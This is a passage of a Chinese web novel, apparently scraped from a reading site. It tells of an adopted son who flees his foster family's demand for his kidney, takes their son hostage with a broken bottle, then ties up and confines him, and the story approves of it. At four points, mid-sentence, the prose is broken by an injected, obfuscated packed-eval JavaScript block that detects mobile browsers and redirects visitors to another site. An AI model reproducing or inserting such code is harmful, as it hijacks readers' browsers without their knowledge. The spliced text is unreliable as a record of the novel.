霍家父母姗姗来迟,他们总算舍得从事不关己的宝座上下来,一张嘴还是熟悉的味道,“云霆,你又和肖溪闹什么,知道你们两个关系好,但今天闹成这样还是太过分了。” 原来他们并不是死人,并不是听不见。只是在自己宝贝儿子没有受伤害的时候,习惯性选择了视而不见。 他怎么从来都没发现这对夫妻一样虚伪呢?肖溪又看了一眼霍云霆,悲哀的发现,即使在这种情况,即使清楚地明白霍云霆华丽外表底下的空洞,他还是无可救药地喜欢这副皮囊,就像是血脉天生为他跳动着。 在这一刻,肖溪忽然有了一个念头,既然他不能改变霍云霆,为什么不能试着改变自己?之前霍云霆对他做的一切都可以用感情二字来代替,那他对霍云霆是不是也一样。 难道堂堂霍家大少爷还有脸说出被他这个小年轻欺负了这话吗? 虽然霍云霆身上已经有些痕迹,但总有地方从来没有被开发过,可以彻彻底底属于他一个,能够和自己白月光在一起,霍云霆一定会觉得很高兴吧。 想到这,肖溪难以抑制地露出一个微笑,就像他一直做的那样,温柔开口,“是的,都是我不好,是我太任性了,这次还搅黄了订婚宴,我们两个只是开玩笑的。云霆哥,你应该去做自己应该做的事。” 霍家父母强行把场面圆了回来,“真是不好意思,让大家看笑话了,都是小孩子闹出来的。订婚前一天晚上他们两个吵架了,还以为昨晚上就和好了,没想到今天说这些不着边际的话,不好意思,不好意思。” 26.负负锁死(14) 真有意思,只要有钱,再出格的事情都能最后化为一句——他们只是闹着玩。宾客也能对一切荒诞视而不见,坦然地接受这个理由离去。 直到场内只剩下他们几个以及被雇佣来的员工。 更有意思的事情发生了。他们习惯性地把正式邀请的宾客礼貌请走,在他们面前留有体面,却没把这些员工当成可以平等对待的人。似乎笃定了,在场这些工作人员绝对没有胆子把事情说出去。 这就是所谓有钱人的自信吗? 一等人员清场,霍家父母马上开始发难,“肖溪,我们家供你吃供你穿,就是为了让你在这种场合倒打一耙,搅混水的吗?早知道就应该让你死在孤儿院。” 现在看来,霍家也没那么可怕。肖溪冷漠地顶回去,“就算我在孤儿院也能健康成长,国家会承担我的学费,也会有生活补贴,吃饱饭,上学还是绰绰有余的,您应该多了解一下国家政策,免得总是说错话贻笑大方。” 霍母被气得手抖,“你……你……果然是出去一趟,胆子肥了,心野了,竟然都会顶嘴了。既然你对霍家那么不屑一顾,那么从今以后,我们就一刀两断,你出门在外再也不要提和霍家有半点关系!” 她居高临下看着肖溪,本来以为能等到肖溪的跪地求饶,但他什么都没说,只是静静地看着她,仿佛在看什么可笑的人物,“我本来今天也是要走的,如果不是霍大少爷一定要把我喊住,恐怕我现在已经到高铁站了。” “那你还赖在这里干什么。” 肖溪举起自己手示意,“不是我不想走,好像是霍大少爷拽住我,不让我走。你们可真有意思。” 霍云霆好像又回到刚刚循环,“不行,肖溪。在你走之前,你必须把话说清楚,你到底什么时候见过的曦光,如果你没见过他,你绝对说不出那么多具体细节。” “我说我就是他,你为什么不信呢?”肖溪再次重复自己说了很多次的澄清,或许在霍云霆眼里,自己口中说的一切都是苍白无力,毕竟在他眼中,自己不过是一个满嘴谎言的骗子,根本不值得他真心以待。或者对他来说,所有人都可以是人,唯独他不算。 他只是习惯性地忽视自己,习惯性地把自己当成召之即来挥之即去的东西——而已。 “霍云霆,我和你说过很多次了。我从来没有在你面前撒谎过,你要是不喜欢我,我们尽管可以一刀两断,你实在没必要这样在两边左右摇摆,我也从来没想过阻挡你的幸福生活。”肖溪撂下这句话,无比坦然地看着霍家父母,“我很感激霍家给我提供了一个住所,但除此之外,我一直跟着霍先生,学校里辅导他功课,天天给他跑腿,从这个角度来看,我欠你们霍家的也没有那么多吧。” 所以,别再拿这份恩情来恶心他了,会让他打从心底里觉得,自己这么些年的付出根本就是不值得。让他开始怀疑自己前二十年的荒唐人生。 “肖溪,你这个人怎么那么不知好歹呢,要是没有霍家……” “我也能过得很好,霍云霆。我能考上重点大学,我脑子不笨,从以前到现在,所有老师都很喜欢我,我只要稍微努力就能考到不错成绩。无论从哪个角度来说,我都不像你说的一样,一无是处。”肖溪总算能够为自己说两句话,可还没硬气几句,他的声势又弱了下来,“但是……算了,就当这些都过去了吧。” 不是,过去什么,你算总账了吗?就这样结束了?是不是有点太虎头蛇尾?爽点在哪里?你都不想要拿大嘴巴子扇他吗,那么容易原谅吗? 甄信在旁边看得实在有点着急,忍不住摸摸自己鼻子。不是,这戏码又回去了?剧情还能倒退的,果然是主角攻,就是会玩啊,想怎么弄就怎么弄。 就是类似戏码看多了,他觉得有点乏味。 也不算什么索然无味,就是纯鸡肋。你说让你现在离开,你肯定不甘心,让你继续在这看下去呢,又实在没什么意思。甄信忍不住长长叹了口气,“唉……” 旁边也有个叹气声,“唉……” 谁在说话!甄信猛地朝旁边看去。不知什么时候,他身边竟然站了一个人,他就悄无声息地站在那儿,没引起任何人注意,好像他从一开始就在那儿出现似的。 看到甄信怀疑的目光,他举了举手里托盘,算是打招呼,“你好,我站这你不介意吧。” 你都已经站过来了,他还能直接拒绝不成?这样是不是太不讲道理了?甄信也不是那么霸道的人。他往旁边挪了点,给对方让出一点位置。 本来以为这样能让他消停,可这举动反而像是给别人某个信号似的。他直接跟了过来,“小哥,你叫什么名字,怎么到这里来的。你时薪多少,能不能稍微透露一下?” 甄信斜眼瞥了他一下,这家伙,看着人模狗样的,说出来话怎么那么不中听呢?他还以为这家伙就是过来看看,怎么还要搭话呢。 他不想理那个男人,自顾自继续观察肖溪状态。对他来说,面前发生的一切更加重要。 那个男人也不气馁,继续说,“你说他们两个这样纠缠有意思吗?不如趁早让他们分开,每个人都有自己快乐的未来。非得搅合在一块儿,你说何必呢。” 这人和头一次见面的人说那么多,是不是脑壳有问题?甄信看了他一眼,马上又转到其他地方。他实在不想和这些脑壳有毛病的家伙在一起,总觉得会让自己陷入不幸。 看甄信不打算说话,那家伙也没觉得有什么,自顾自看着面前发生的一切,顺带还解说两句,“你说这人有意思不,本来有人是专门雇我来抓奸的,万万没想到反而自己变成了小三,我现在都不知道尾款到底要找谁结,只能自认倒霉了。” 这话一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370351|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出,甄信倒是忍不住多看了他两眼,“你这样在外面随便说雇主消息,也不怕坏了自己口碑?” “天知地知,你知我知,要是有第三个人知道,肯定是兄弟你传出去的。”他朝甄信挤挤眼,“自我介绍一下,我叫云霁,专业调解人与人之间的情感纠纷,我觉得我们两个在这方面应该是能说上几句话的吧。” 没有甄信回复,他也能自顾自说下去,“你说人是不是很矛盾,明明知道他对自己很糟糕,但就是放不开他,明明心里也痛恨这样的自己,但却根本没办法改变,只能看着自己清醒地沉沦,这就是所谓爱情吗?这个迷人而又让人遭罪的玩意儿。” 显然,这些在霍家父母那里不是这么算的,他们更加精于算计,更加冷酷地察觉到事情的本质。 “肖溪,你已经不是我们家的人了。你现在是私闯民宅,我们可以报警抓你。对了,霍总最近身体不太好,医生说是肾出了点问题。你去医院做个配型吧。” 她就这样轻描淡写说出了这句话?到底把人的身体当成了什么? 肖溪只觉得浑身上下冷得可怕,毫不犹豫拒绝了这个提议,“不可以。我的身体是属于我自己的,谁都不可以决定。” “这事不是你可以决定的。抓住他。”霍母轻描淡写地吩咐,等待身后打手帮她做完这一切。保镖们往前一步,直接拦住肖溪去路。 哦豁,这是打算直接上演全武行了,狠还是他们狠啊。 剧情这样神展开都没有人报警的吗?就这样任由他们当面威胁。有时候反派降智地太明显,明显到甄信甚至想要投诉的程度。 这种烂剧情就应该直接扔到桌子底下发烂发臭,竟然还在这堂而皇之上演了。 现在是甄信不出手也不行了,难道还真看着违法犯罪直接现场直接发生? “你们还真是一点情面都不打算留。”肖溪深深地叹了一口气,右手随手抄起一瓶红酒直接敲碎,拿着锋利的瓶口对准霍云霆脆弱的脖子,“既然这样的话,如果你们不愿意放我走,我就当场给你们宝贝儿子脖子上开个口子。” 霍母毫不在意,反而让保镖更靠近些,“肖溪,你舍得吗?从以前开始你就是这样一个优柔寡断的人,怎么到现在你就能下手了?” 懦弱的人即使被逼急了也不知道如何反击,这个事是种在他们心底的,根本无法改变。 但这一次倒是有所不同。肖溪反而把锋利的那端朝霍云霆的脖子那儿送了送,“不,我现在可以下狠心,大不了我们两在这同归于尽。不过,要是我们俩死了,你们倒是有两个选择了,只是时间需要稍微抓紧一点。” 不是都说了,器官移植得抓紧黄金三小时。 甄信愣愣地看着眼前发生的一切,整个人还有点震撼感。就这样,瞬间就决定,他们一下从合法公民跳转其他方向了? 27.负负锁死(15) 这落差是不是有点太大。 霍云霆只是愣愣地看着对面这个熟悉的人,曾经他把自己放在心尖尖上,现在却毫不犹豫用利器对准自己。“肖溪,你的爱也就是这样而已,你真的是从头到尾都让我觉得无比廉价。” “啊,对对对,我现在不打算继续廉价下去。直接翻身做主人。”肖溪不管他们反应,直接带着霍云霆边走边退。以前霍云霆也对这些保镖不怎么样,天天挑刺,现在遇到问题也不乐意花大力气来救他,直接装出一副努力拯救的模样来,其实就是站在原地一动不动。 霍母实在忍不下去,大声吩咐,“你们谁抓住他,我就给谁五十万。” 下重金了,下重金了。抓个人就五十万,那为什么非得要肖溪的肾,有门路愿意砸钱,怎么就不能给自己换一个改变命运的机会,怎么,用了肖溪的肾就能飞升啊。退一万步说,你都想求着别人捐了,你还那么一副高高在上的态度是怎样。每天给对方诚心磕几个不过分吧。 怎么对着外人那么慷慨大方要面子,对着自己认识的就吃毛求疵,恨不得把他生吞活剥了呢。不过,好歹长在自己身上的玩意儿,没有自己同意,谁也拿不走,只要肖溪清醒,这事就不是他们自己能办的。 甄信抄起桌上两把餐刀也跟着冲出去,“别动,你们都别动,要是不小心在这弄出人命来,谁都不好收场!” 武力再高也怕刀。有神兵利器在手,就算对方再勇武也投鼠忌器,站在前方裹足不前。 就他冲出去这功夫,刚刚还停在原地的那家伙已经消失不见——这人逃地比兔子还快,一点都靠不住。刚刚还在和你哥良好聊天,现在就彻底say goodbye,一点没有契约精神。 甄信往前一步,和肖溪背靠背,算是护住他后头安全,“霍家竟然打算直接抢器官,你们到底有没有把法律放在眼里?” 霍母不紧不慢,“这就是我们家事,我们养子有孝心,愿意为我们出点力气,自愿捐献,当父母的肯定心里头熨帖得很。” 这人怎么能那么不要脸呢,难怪养出来一个儿子也是这种死样子,合着这完全就是一脉相承啊。 要不怎么说不是一家人,不进一家门呢。 等灯,要说正式的收养关系,那可复杂了。甄信忽然想到了什么,“行,收养,那时候的收养文件呢?拿出来让我们看一看,没有文件你们就是拐卖儿童。” 收养文件他们肯定是没有的。要是有了这文件,肖溪可就是他们板上钉钉的孩子,有合法继承权的那种。这几个扒皮会舍得? 所以甄信笃定他们手上肯定拿不出证明文件,讲话也越发大声,“没有文件,那你们算什么关系?会不会你们是直接把人拐卖走的,谁知道你们这副表皮底下到底藏着怎样人面兽心的东西。” “你——”霍母被气了一瞬,立刻又恢复了冷静,“无妨。你们也就只能在这逞两句口舌上威风。肖溪,你真是越活越回去了,现在什么垃圾都能被你拉进来当朋友了?” 这话倒是真的把肖溪惹毛了。 “你们霍家难道给我什么东西了吗?除了一口饭还有什么,别一天到晚在我面前摆什么恩情!连你们自己的孩子都养不好,你们才是彻头彻尾的垃圾。少在这对我的朋友指手画脚。他可比你们有人性多了!” 他们两个一边说一边往后退,没多会儿就退到了大门边。 肖溪拎着个破瓶子仿佛手上有万钧力量,直接就能横扫千军。但他们也确实被堵在了门口,靠他们两条腿是绝对逃不出去的。 肖溪看了看前方这些人,咬咬牙,想要先把甄老板推出去,“老板,我不能连累你,要走我们一起走。” “这种时候还分什么你我。”甄信打开大门,他们离胜利就相差一步而已,难道就直接止步不前?“要走一起走,我难道还能把你一个留在这吗?” 甄信捏着自己手上的防狼喷雾,心里其实也没底。你说现在防狼喷雾扔出去是能挡住几个,但他们俩接下去怎么办,他的车停在小区门口,实在是没办法及时接应。 算了,拼一把吧,就当不要命一次。甄信从兜里掏出两个防狼喷雾,递给肖溪,“来来来,可劲喷,看看效果好不好。”买的时候详情页上说威力巨大,到底什么效果还是得拉出来遛一遛。 巨大刹车声在耳边响起,一辆黑车停在门口,车窗缓缓降下露出一张熟悉的脸——云霁。 “走走走!” 到底要不要相信这个陌生人,甄信心里打鼓,现在也来不及思考太多,上他的车总比他们在这僵持好得多。 甄信直接把自己带的防狼喷雾往前猛的一甩,拽着肖溪直接冲上云霁的车——是人是鬼不知道,但总比在这待着好多了,离开这幢房子总归是有点希望在的。 霍母就站在台阶上居高临下看着他们,仿佛在看两只悲哀的小虫子在无谓挣扎,“你们又能到哪儿去呢,最终还是要回来的。” “当然,我会回来,在你们葬礼上。放心,以后逢年过节,所有该上香的日子,我一次都不会给你弄的。你们就注定要孤独终老!”撂下这句话,肖溪转身就走。 他第一次动作那么快,前一步撤出来,后一步直接踢上了别墅大门。感谢这些大门的自动落锁装置,只要关门自动上锁,等里头保镖们扭开大门出来,动作难免又落后了一步。 云霁直接发动汽车,带着他们冲出藩篱。 不过,他还是留了个心眼,没有直接开车出去,反而是稍微绕了一点距离,从另一个工作人员出入的小门离开。虽然感觉那些保镖总是喜欢从大门追出来,但难保他们这次忽然有了脑子,来一个反向思维。现在他们能做的就是尽可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388326|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把距离拉开,能拉多远就多远。 他们实在着急得很,着急到甚至没有时间回头看后面到底发生了什么。 直到拐过去好些路,甄信才有功夫回头问肖溪的情况。一转头,后座上水灵灵坐着两个人,两个?怎么回事?他直接一个转头大动作,“你怎么会在车上?” 肖溪不好意思露出一个微笑,“抱歉,我刚刚顺手就把他带上车了。” 不是,这件事得弄清楚,要是他们没有把霍云霆带上车,他们就只是进了自己曾经的住所拿一点东西而已,完全合法正当,现在直接变成挟持了,性质完全不同。一下民事转刑事了啊,大哥。 甄信竭力保持冷静,力图让自己看起来不要那么有攻击性,“我们讲道理,肖溪,你为什么要把这家伙带上呢,他到底有什么用呢?” 弟啊,我们真的不要在垃圾桶里捡男友,能不能换一个,难道你的人生只剩下这样了,没必要吧,你的人生才刚刚开始啊,清醒一点。 肖溪不知道从哪儿摸出绳子在霍云霆身上打了好几个结,直接把他捆得动弹不得。“甄老板,真的很抱歉,让你为我的事操心了,或许我真的不能符合大家对我的期待。对不起。可是——” 他是真的很喜欢面前这张脸,喜欢到无法自拔,喜欢到即使他是个腹中空空的草包也没关系。毕竟,优美的艺术品只要有一副皮囊就足够了。 谁会在意陈设到底有怎样的思想呢? 看着关心他的甄老板,肖溪忽然有点克制不住地露出自己恶劣的一面。“甄老板,你知道的,每个人在意的东西不一样,我在意的东西能够拿到手就足够了。” 他的手指在霍云霆身上流连,一点点,一点点,朝着他喜欢的地方靠近。 啪—— 狠狠一巴掌扇在霍云霆脸上,他左脸立刻红肿起来,肖溪爱怜地揉揉那片滚烫的皮肤,“你看看,云霆哥,你为什么不笑呢,看着我不开心吗?之前你看到秦先生都很开心的,每天都期待早点见到他,为什么到我这里就变了呢。不过没关系,你不在意我也没事,我……” 我知道,我们的心永远在一起。 密密麻麻的鸡皮疙瘩起了甄信一身,他甚至不敢回头看。总感觉他在这时候开口是一件非常危险的事。他在心里疯狂呼唤萧岛。[喂,小破剪刀,这是什么情况,你搞清楚那家伙的人设了吗?] [不对啊,介绍上说,肖溪是一个单纯无辜的男大学生,即使自己被拿走了一只眼睛眼角膜,一个身体器官,最后依然和霍云霆幸福快乐地生活在一起。] [不是,你们俩上下嘴皮子一碰就幸福快乐了?]甄信越想越觉得不对,也是他想当然了。随便看了两眼介绍就直接开始任务,那个介绍里面想想全都是问题。 他们两个最后怎么在一起的,为什么忽然幸福了? 28.负负锁死(16) 故事的最后,肖溪一无所有,霍云霆拥有一切,就连他秦涵润都能重新拥有健康的身体,当然在这个故事里,身体不好的剧情由霍父替代了,意思就是如果没有他们两个横插一脚干预,肖溪无论如何都会失去一点自己的身体器官。无论从哪个角度来看,霍云霆都没有忽然对肖溪如痴如狂。 这不合逻辑。 而且凭什么呢?为什么他们之间感情急剧升温,为什么他们就从此所有事都一笔勾销了?那个幸福值真的是由霍云霆确定的吗?或许他们从一开始就想错了。 在原来故事里幸福快乐的是肖溪,他们要从这段关系里拯救出来的人就是——霍云霆。为什么要阻止肖溪身体上的损伤,或许是因为,在肖溪上出现的每一道创口都是让他愤恨不平的理由,都会让他加倍报复回来。他们要做的任务是在最后来临之前,从肖溪手上保护霍云霆? 不会吧。那他刚刚做的算什么,给肖溪再加上一层buff? 他是不是好像把什么大门打开了,忽然心情有点奇妙,他本来一直坚定地觉得自己站在弱者那一边,现在感觉自己的信念好像被动摇了。 肖溪好像并不是他觉得需要被拯救的那个小白兔,一切都是他想当然了。 但是吧——这又有什么关系呢? 他两只眼睛都看到了他们之间有纯真的感情存在,至于是怎样的形式生活真的重要吗?那些想法其实也就是外界强加在他们身上的,每个人都有属于自己获取幸福的方式。他不过是个外人,为什么要对别人的感情生活置喙呢,怎么看都是彻底越界了吧。 换个角度思考一下,其实完全可以理解,那个不大恰当的方式来比喻的话。如果一个家庭里丈夫出轨,大家都会劝做妻子的大度一点体谅,组建一个家庭实在不容易。换个角度,女方出轨呢,其实也一样,为什么身为丈夫不能体会一下另一半在家里的艰辛呢? 甄信觉得,肖溪真的在这份感情里付出了太多太多,既然霍云霆对他不是全然没有感情,他们身为外人,为什么不能站在肖溪那边支持他呢?霍云霆可是个大男人,他要是不乐意,肖溪还能强迫他不成?自己分明就是半推半就,心里乐意得很,一出事又把责权全都推到别人身上。 呵,男人,实在是让人尊敬不起来。 云霁倒是立刻反应过来,“哎呦,霍先生,您这另一半太体贴了吧,这样都愿意原谅你,肯定是你三辈子修来的福分。没关系的,即使暂时离开家里,只要你们两个心里有对方,吃糠咽菜也幸福的,在这里先恭喜你们了。” “你们……”霍云霆一口气被噎了个半死,他想要反驳,自己心里完全没有眼前这个家伙,但看着肖溪的脸,这句话他无论如何都说不出来,只能苍白辩解,“我和他没有关系,快把我放回去,不然这后果不是你们可以承受的。” 这话甄信可就不乐意了。 “霍先生,您说什么呀。明明不是你和我们说,想要为了自己的未来拼搏一把,我们才接了你们单子助力你们远走高飞。怎么人出来了,你们反而不认账了呢?不管你今天到底说什么,这尾款是肯定要付的。都说越有钱越抠,您没必要连这种钱都不出吧。” 云霁跟着在车里大声嘀咕,“您可别说这种撇清关系的话,你们俩关系好的时候,在一块儿你侬我侬那个劲儿,我可都是拍了照片。总不能今天拌两句嘴,就要在我们这些小喽啰头上撒气吧。” “我没有……” 霍云霆一句话没说完,所有的言语全都被肖溪用嘴封住,只能被迫咽回自己肚子里。“霍云霆,之前是你让我回来的,现在我回来了,你又不认账了?” 现在你想不认账,晚了。 霍云霆第一次感受到步步紧逼的危险,试图劝一劝肖溪,“肖溪,我们认识那么多年了,真的不至于变成现在这种样子,你冷静一点,暴力不能解决任何问题。你以前一向都是很温柔的不是吗?” 温柔?肖溪克制不住,几乎要笑出声来。对,他是温柔,他岂止是温柔,不如说他活该算了,他活该被霍云霆不当人,活该被他当做垃圾对待,活该他真心被践踏,因为从头到尾都是他在犯贱。那他犯贱,霍云霆又是怎么回事,他不是自愿加入这个犯贱游戏吗? 那时候乐意天天和他纠缠,现在他玩累了就想要把自己一脚踢开?天底下哪里有那么美的事,他开什么玩笑! 肖溪的语气忽然极其温柔,仿佛回到了他刚开始到霍家的时候,满心满眼只有霍云霆一个人,“云霆哥,你说我们之间为什么会变成现在这样?原来,我们之间关系那么要好,我是你身后最忠实的小跟屁虫,你身边也只有我一个,就让我们回到以前的日子不好吗?你变回以前的模样,行不行。” 要是以前听到这句话,霍云霆心里肯定有三分得意,但此时此刻听见,他却只觉得毛骨悚然。这不是肖溪会说的话,肯定有什么不对。 他想要求救,但肖溪一把把他按在了后座了,轻而易举把他两只手控制住,“云霆哥,我不是告诉你了吗?安静一点,乖乖地坐在这儿不好吗?乱动很危险的,你怎么老是不听话。” 甄信默默转头,顺便帮他们俩拉上面包车前后之间拉开的小窗帘。也不知道姓云的这家伙怎么想的,竟然在驾驶室后头手动装了遮光黑窗帘,副驾的人一拉,就可以把前面和后头彻底分隔开来。 这窗帘一拉,他顿时觉得心里安稳多了。 你说,谁能证明他们俩知道后面到底发生什么了,对不对。后面这俩完全就是热恋中的小情侣,他们不过是接了一单顺风。 好不容易安安稳稳坐下来,甄信又开始操心起其他问题,“喂,云霁,你在霍家闹了那么一出,是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409997|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打算在这个城市继续生活下去了,霍家可一直都相当霸道。” “与其操心我,不如操心操心自己?甄老板?你可是有店面的,到时候跑得了和尚跑不了庙,这损失可就真的大了。” 这家伙果然不是无缘无故过来的,来之前调查他过,这里头肯定有问题。” 甄信摸一把自己头发,装作什么都没发生一般,转头坦然地看着云霁眼睛,“什么意思,我好像听不太明白?云老板,你能不能说清楚一点?” “甄老板,我这个人做事喜欢说一点留一点,要是什么都说的那么清楚明白,那就真的没意思了。” 他知道,甄信出现在这里并不是巧合,他也是。 只是,他到底是过来干什么的,他也想稍微卖个关子。“甄老板,你不要那么紧张,我绝对不是那个会给你拖后腿的人。你就当我们这次遇见是一个美好的缘分,很高兴认识你,说不准以后我们还能并肩同行呢?” 以后怎么样他是不知道,但这次,他们肯定是共犯。 甄信倒是开始犯难,“你说把他们送到哪儿去比较好?”现在看情况,肖溪还需要一些时间和霍云霆好好聊一聊,他们还是不要打搅比较好。 “地方其实很好找,要么就是鱼龙混杂,人群流动很大,要么就是大家不太出来,几乎与世隔绝的小山村。”只要人不用电子支付,暂时离开喧嚣一段时间还是相当容易的,就看他们怎么选择了。 甄信倒是不这么觉得。 “难道还真让他们与世隔绝,没网没外卖没快递,这日子谁过得下去,山顶洞人吗?”甄信白了他一眼,随意在地图上指了个点,去这吧。 在城外绕了一圈,汽车载着这俩顺利到达——大学城包月民宿,所有设备一应俱全的那种。 “甄老板,有创意啊。”云霁不得不服,在创意这方面,绝对是这个。大学城,鱼龙混杂,人来人往,年轻人又不喜欢打听隔壁到底发生了什么,绝对是个清净地。 就是有些时候动作得小声些,这地方大多隔音不大好。 肖溪也很满意这地方。空闲的屋子是底下带个小门面的小二楼。在大学生商业街的尽头,阴暗的小巷没有什么灯光,旁边夜宵店却又相当嘈杂。是个无论发生什么都不会有人大惊小怪的地方。 相当完美。 做完这些,甄信和云霁火速撤,生怕耽搁一点反而把自己困住了。出去时候,甄信心里还是有些担心的,“你说,这房子不会发生什么恶性事件吧?” 比如肖溪被逼疯走向不可挽回的道路? 云霁也挺佩服甄老板脑洞,“我觉得肖先生挺冷静的,比起游走在法律边缘,我觉得更应该担心一下霍氏集团的处境。按照他们那嚣张的态度,很难相信他们没有违法乱纪。” 尤其是需要重点关注的税务问题。 29.负负锁死(17) 也是,他们身上全部都是问题,说不定什么时候他们就是落下的最后一根稻草呢。 人还是要对未来充满期待,只要有希望总会等到时来运转的那一天。反正甄信就是这样,不过,他还是没忘记对肖溪表达一下自己真诚的祝愿,“肖先生,记得一件事,没有什么比自己幸福更重要的。只要你觉得幸福就可以。” 甄信经常觉得,现在很多人都被教坏了,都被教导着要尊重其他人,要照顾别人的感受,却总是忘记自己的想法。照顾到最后,甚至把自己彻底忽略了。 自私一点又能怎样呢?如果自私能够让自己过得好,甄信倒是宁愿自己遇到的家伙个个都是自私鬼。这样他骂起来也比较痛快,免得每天都被弄得一肚子气。 憋屈!实在是憋屈! 肖溪忽然笑了,他知道自己面前两个看着熟悉的陌生人到底在担心什么。担心他不能过好自己的生活,担心他一个人到底能不能支撑后头遥远时光。 但是,陌生人都能为他仔细考虑,为什么朝夕相半的人总是对他弃之敝履呢?他知道情感这件事不是靠想就能解决的,也知道不能苛责身边的人。 这一切道理都知道,但人实在是个情感动物,让他忍不住生出埋怨来。有时候,他甚至想要在霍云霆身上扎出无数口子来,看看这家伙到底是个活人,还是冷酷无情的钢板。 可他又清楚的知道,一旦自己在霍云霆身上做点什么,一切就都回不去了。他这辈子都会染红。 所以,他只能坐在昏暗的屋子里问那个被锁住的男人,“云霆哥,你为什么不能对我好一点呢?你知道对秦涵润体贴,你能观察到他身体的一切不适,能记住他的喜好。为什么对我要这样残忍呢?难道你的所有教育,修养,在我身上都不能存在吗?” 霍云霆也不知道自己到底是怎样想的,或许对他来说,前面的日子真的仿佛半梦半醒。或许有魔鬼主宰了他的大脑,面对肖溪,他总是克制不住自己的坏脾气。就像潜意识里有一个魔鬼一直在脑边呼喊—— 你无论怎样对待这个家伙都可以,他绝对不会反抗的。快把你所有的坏脾气都发泄到他身上。 他也没办法。事情已经这样了,难道还要他把自己的幸福赔上吗?这样对他来说是不是也不公平呢。霍云霆实在不理解,“肖溪,你到底喜欢我什么,你不觉得你自己这样很莫名其妙吗?” 莫名其妙?对,在别人眼里,或许他就是个奇怪的男人。好像为了别人都失去自己的自尊。 但是,无所谓了。 肖溪已经不是会轻易被动摇的以前了,他拭去眼角的泪水,比以前任何时候都要坚定,“云霆哥,我无所谓你对我说什么,从今天开始,你就是我的,彻彻底底属于我的。” 他几乎是变戏法一般从口袋里掏出两个大红色的本儿,那颜色如此刺目,让人根本没办法相信,这竟然是会出现在这儿的东西。霍云霆完全掩饰不住自己的脸色,“这是什么?肖溪,伪造结婚证是犯法的,你不能在违法犯罪的道路上继续下去。你得冷静一点,我们可以慢慢聊。” “你果然忘记了。那时候你喝醉了。”肖溪几乎是冷酷地说起那个事实,“去年有一天你喝到白天,怎么都不愿意回去。我劝你你也不听。你说,只要我和你登记结婚就和我回去。就这样,你强行拖着我去了婚姻登记处。因为我们两个都成年了,只要意愿强烈,可以不用户口本就登记结婚。所以……” 从那时候起,他们就是合法夫夫了。 只是故事的另一个主人公,一觉醒来就什么都忘记了,并且相当嫌恶地让他滚出去。肖溪什么都不想说,也跟着把这个秘密藏了起来,或许是因为他自己心里也还有一点微妙的愿望,想着说不定某一天,霍云霆忽然想起来,他们还能成为完美的那一对。但是——这些都只是他的一厢情愿而已。 “所以,当你说要订婚的时候,我怎么都要回来。我总不能让另一个人顶着不幸被迫加入你的婚姻殿堂吧。我还做不出这种事。”但是现在,他的想法彻底改变了。 “云霆哥,我们本来就是合法的,我为什么要给别人让位呢,我觉得我们之间的感情没有破裂。既然你和秦先生能够迅速培养起感情,为什么和我不可以?我们两个有什么不同吗?只要你把目光放在我身上,我们两个会一直幸福快乐地生活下去的。”肖溪把霍云霆扶到轮椅上,轻柔地给他喂一口粥。 “云霆哥,你为什么不吃呢,之前你不是最喜欢喝我煮的粥吗?多喝一点才有力气,才能一直和我生活下去。” 店铺的大门在他们身后缓缓阖上,底下人来人往,但并没有任何人把目光投向这小小的一角,这扇旧门就和之前在里头的人一般,逐渐被时光遗忘,仿佛整个世界只剩下他们两个人。 云霁开着车把甄信送回店铺去,不需要导航,他也能在各种小巷里穿梭地飞快,只是在这里干开车多少有点无聊,云霁就想聊会儿天,但他们两个都能说得上的话题好像就只剩下刚刚遇见那两个。反正都不是雇主,他说两句也没什么的。“甄老板,你说人还真奇怪不是,明明都已经是夫夫了,每天说话都还那么别扭,真是奇怪啊。” 夫夫,什么夫夫? 甄信瞪大了眼睛,好像总算找到里头一丝线索,几乎是立刻坐直了。“你的意思是说肖溪和霍云霆已经结婚了?”那个渣男,已经结婚了还要出去骗年轻小男生?他疯了吗? “你不知道?”云霁歪着脑袋看身边这人,眼里也是不敢置信,“你都不知道他们到底是什么关系,也敢上去帮忙?”如果今天这不是家事,他们有一个算一个,都得进去待几天。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 